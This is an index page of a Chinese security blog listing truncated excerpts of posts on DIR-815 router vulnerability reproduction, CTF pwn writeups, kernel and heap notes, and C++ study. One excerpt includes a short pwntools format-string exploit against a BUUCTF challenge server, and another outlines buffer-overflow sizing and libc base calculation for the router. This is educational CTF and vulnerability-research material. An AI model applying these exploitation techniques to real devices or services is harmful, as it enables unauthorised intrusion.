avatar
文章
49
标签
17
分类
25

首页
归档
标签
分类
友链
关于
S1nec-1o's B1og
首页
归档
标签
分类
友链
关于

S1nec-1o's B1og

DIR-815漏洞复现
发表于2024-05-21|更新于2024-05-21|IOT安全漏洞复现|IOT安全
DIR-815仔细研读了winmt师傅和ZIKH26师傅的复现,现在自己来复现一遍 漏洞详情 静态分析该部分可以看ZIKH26师傅的blog,原本是想在师傅的分析上补充的,但是事情太多了,最后看的脑子疼,只能暂且搁置了 动态调试确认libc_base由于该gdb是链接在qemu模式下的,因此不能直接通过vmmap得到libc基址,而直接libc又因为权限不足无法使用,又因为这个路由设备的真机就是没有开地址随机化的,因此我们只需要**通过找一个libc函数地址减去偏移来得到libc_base**,而因为“延迟绑定的特性”,要找两个使用libc函数的地址 可以得到memset的地址在0x7f76ca20 可以得到libc_base=0x7f76ca20-0x034A20=0x7F738000 确认溢出大小首先,cyclic 2000 > payload,将生成的2000个字符存放到payload文件中,再用以下shell脚本: 1234567#!/bin/bash INPUT="winmt=pwner"LEN=$(echo -n & ...
题录1.1
发表于2024-05-14|更新于2024-05-14|做题记录|traditional pwn
刷题记录2[LitCTF 2023]ezlogin首先是符号表的恢复,将随便一个libc.so的i64文件,拖到bindiff里,然后import即可恢复大部分的函数 静态分析12345678910111213int __cdecl main(int argc, const char **argv, const char **envp){ const char **v3; // rdx __int64 v5; // [rsp+0h] [rbp-108h] BYREF setbuffer(off_6B97A8, 0LL); setbuffer(off_6B97A0, 0LL); setbuffer(off_6B9798, 0LL); while ( !vlun(&v5, 0LL, v3) ) ; puts("GoodTime."); return 0;} 1234567891011int __cdecl vlun(int v5, const char **argv, const char **envp){ ...
题录1.0
发表于2024-05-12|更新于2024-05-12|做题记录|traditional pwn
刷题记录1因为国赛将近,开始每天几道题,难度不等,之后会有patch的使用(算是预告和DIR-815的复现(早就复现一直没时间详细写 babyfengshui_33c3_2016 是一道风水题,可以拿来找回感觉 静态分析123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657void __cdecl __noreturn main(){ char v0; // [esp+3h] [ebp-15h] BYREF int v1; // [esp+4h] [ebp-14h] BYREF size_t v2[4]; // [esp+8h] [ebp-10h] BYREF v2[1] = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); alarm(0x14u); while ( 1 ) { puts(&q ...
C + +那年那些事
发表于2024-05-10|更新于2024-05-11|总结C++|开发
前言本篇blog是读者所总结(cv大法均有包含出处,笔者水平有限,如果错误请指出(主要期末考总结了一下方便考前再次复习 理论基础在protected保护继承中,对于垂直访问等同于公有继承,对于水平访问等同于私有继承。 动态绑定是在运行时选定调用的成员函数的。 对于从基类继承的虚函数,派生类也可以不进行重定义。 类A是类B的友元,说明类A是友元类 友元不能传递也不能继承:破坏封装性 123456789101112131415161718192021class ClassB;class ClassA {public: void display(const ClassB& b);};class ClassB { friend class ClassA; // 声明ClassA为友元类private: int privateData = 10;protected: int protectedData = 20;};void ClassA::display(const ClassB& b) { ...
一些题目(format和ieee标准)
发表于2024-05-03|更新于2024-05-03|做题记录|traditional pwn
题目复现float静态分析123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475void __fastcall __noreturn main(int a1, char **a2, char **a3){ void *v3; // rsp void *v4; // rsp double *v5; // rbx _BYTE v6[12]; // [rsp+8h] [rbp-50h] BYREF int v7; // [rsp+14h] [rbp-44h] int i; // [rsp+18h] [rbp-40h] int j; // [rsp+1Ch] [rbp-3Ch] double *v10; // [rsp+20h] [rbp-38h] void *s; // [rsp+28h] [rbp-30h] void *buf; // ...
kernel note
发表于2024-04-28|更新于2024-04-28|kernel-pwn|kernel
kernel笔记首先是要配置环境,推荐[wiki](Qemu 模拟环境 - CTF Wiki (ctf-wiki.org))和这篇文章 其中调试部分我还搁置着准备等学有所成再来实战 可以将内核看作一个巨大的elf,它又有数据段 基础知识Kernelkernel 也是一个程序,用来管理软件发出的数据 I/O 要求,将这些要求转义为指令,交给 CPU 和计算机中的其他组件处理,kernel 是现代操作系统最基本的部分。 kernel 最主要的功能有两点: 控制并与硬件进行交互 提供 application 能运行的环境 包括 I/O,权限控制,系统调用,进程管理,内存管理等多项功能都可以归结到上边两点中。 需要注意的是,kernel 的 crash 通常会引起重启。 Ring Modelintel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0, Ring 1, Ring 2, Ring 3。 Ring0 只给 OS 使用,Ring 3 所有程序都可以使用,内层 Ring 可以随便使用外层 Ring 的资源。 使用 Ring Model 是为了提升系 ...
GO-Pwn
发表于2024-04-28|更新于2024-04-28|Go-pwn|go
GO-PWN首先go的二进制文件分析与C/C++二进制文件分析大有不同,有些老东西都不能运用得当 我们先讲述不同的点 函数调用约定在 Go 语言中,goroutine 是一种轻量级的执行单元,用于并发执行代码。它可以看作是一种轻量级的线程,由 Go 运行时系统进行管理。与传统的线程相比,goroutine 具有更小的栈空间占用和更低的创建和销毁开销。 Go1.3版本之后则使用的是continuous stack,下面将具体分析一下这种技术。 基本原理每次执行函数调用时Go的runtime都会进行检测,若当前栈的大小不够用,则会触发“中断”,从当前函数进入到Go的运行时库,Go的运行时库会保存此时的函数上下文环境,然后分配一个新的足够大的栈空间,将旧栈的内容拷贝到新栈中,并做一些设置,使得当函数恢复运行时,函数会在新分配的栈中继续执行,仿佛整个过程都没发生过一样,这个函数会觉得自己使用的是一块大小“无限”的栈空间。 实现过程在研究Go的实现细节之前让我们先自己思考一下应该如何实现。第一步肯定要有某种机制检测到当前栈大小不够用了,这个应该是把当前的栈寄存器SP跟栈的可用栈空间的边 ...
buu做题记录
发表于2024-03-11|更新于2024-04-28|做题记录|traditional pwn
buu做题记录1算是最近得做题记录了,就是一开始的比较简单呃就挺简洁的,所以后面跳到5,6页了,算是总结吧,之后也不知道要干什么,就这样子吧 [第五空间2019 决赛]PWN5静态分析 可以看到有格式字符串漏洞,原本因为1想的是password会在栈上出现,但是并没有应该是被覆盖掉了,因此我们想到直接修改password 123456789from pwn import*#sh=process('./pwn5')sh=remote('node5.buuoj.cn',27277)sh.recvuntil(b'your name:')pal=p32(0x804C044)+p32(0x804C045)+p32(0x804C046)+p32(0x804C047)+b'%10$n%11$n%12$n%13$n'sh.sendline(pal)sh.recv()sh.send(str(0x10101010))sh.interactive() rctf-2019-babyheap12345Arch: am ...
IO函数源码阅读
发表于2024-03-03|更新于2024-04-28|Pwn知识|traditional pwn
IO函数详解该版本为libc-2.31 fopen_IO_new_fopen12345FILE *_IO_new_fopen (const char *filename, const char *mode){ return __fopen_internal (filename, mode, 1);} 调用__fopen_internal函数 __fopen_internal123456789101112131415161718192021222324252627FILE *__fopen_internal (const char *filename, const char *mode, int is32){ struct locked_FILE { struct _IO_FILE_plus fp;#ifdef _IO_MTSAFE_IO //没执行 _IO_lock_t lock;#endif struct _IO_wide_data wd; } *new_f = (struct locked_FILE ...
heap note
发表于2024-02-29|更新于2024-04-28|Pwn知识|traditional pwn
堆本篇文章摘自华庭大佬的Glibc 内存管理一书,只是插入了一些记录 什么是堆在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理器。 堆管理器处于用户程序与内核中间,主要做以下工作 响应用户的申请内存请求,向操作系统申请内存,然后将其返回给用户程序。同时,为了保持内存管理的高效性,内核一般都会预先分配很大的一块连续的内存,然后让堆管理器通过某种算法管理这块内存。只有当出现了堆空间不足的情况,堆管理器才会再次与操作系统进行交互。 管理用户所释放的内存。一般来说,用户释放的内存并不是直接返还给操作系统的,而是由堆管理器进行管理。这些释放的内存可以来响应用户新申请的内存的请求。 Linux 中早期的堆分配与回收由 Doug Lea 实现,但它在并行处理多个线程时,会共享进程的堆内存空间。因此,为了安全性,一个线程使用堆时,会进行加锁。然而,与此同时,加锁会导致其它线程无法使用堆,降低了内存分配和回收的高效性。同时,如果在多线程使用时,没能正确控制,也可能影 ...
1…345
avatar
s1nec-1o
万事胜意
文章
49
标签
17
分类
25
Follow Me
公告
正在学习iot pwn 欢迎广大师傅与我交流
最新文章
Android逆向从入门到入土之初识风控(2)2025-10-21
Android逆向从入门到入土(1)2025-10-11
CVE-2024-35250复现2025-09-05
AFL源码阅读之afl-fuzz结束2025-08-16
AFL源码阅读之afl-fuzz(1)2025-08-11
分类
  • 2024ROIS冬令营3
  • 2024年终总结1
  • Go-pwn1
  • IOT安全11
    • 漏洞复现7
  • Pwn知识5
  • Web安全1
  • Windows内核漏洞1
标签
Windows kernel 杂谈 IOT安全 开发 traditional pwn hexagon 年终总结 android Qiling kernel Fuzz qemu逃逸 openwrt go protobuf windows pwn Web
归档
  • 十月 20252
  • 九月 20251
  • 八月 20252
  • 七月 20251
  • 五月 20254
  • 四月 20252
  • 三月 20252
  • 二月 20253
网站资讯
文章数目 :
49
本站访客数 :
本站总访问量 :
最后更新时间 :
©2024 - 2025 By s1nec-1o
介是s1nec-1o的博客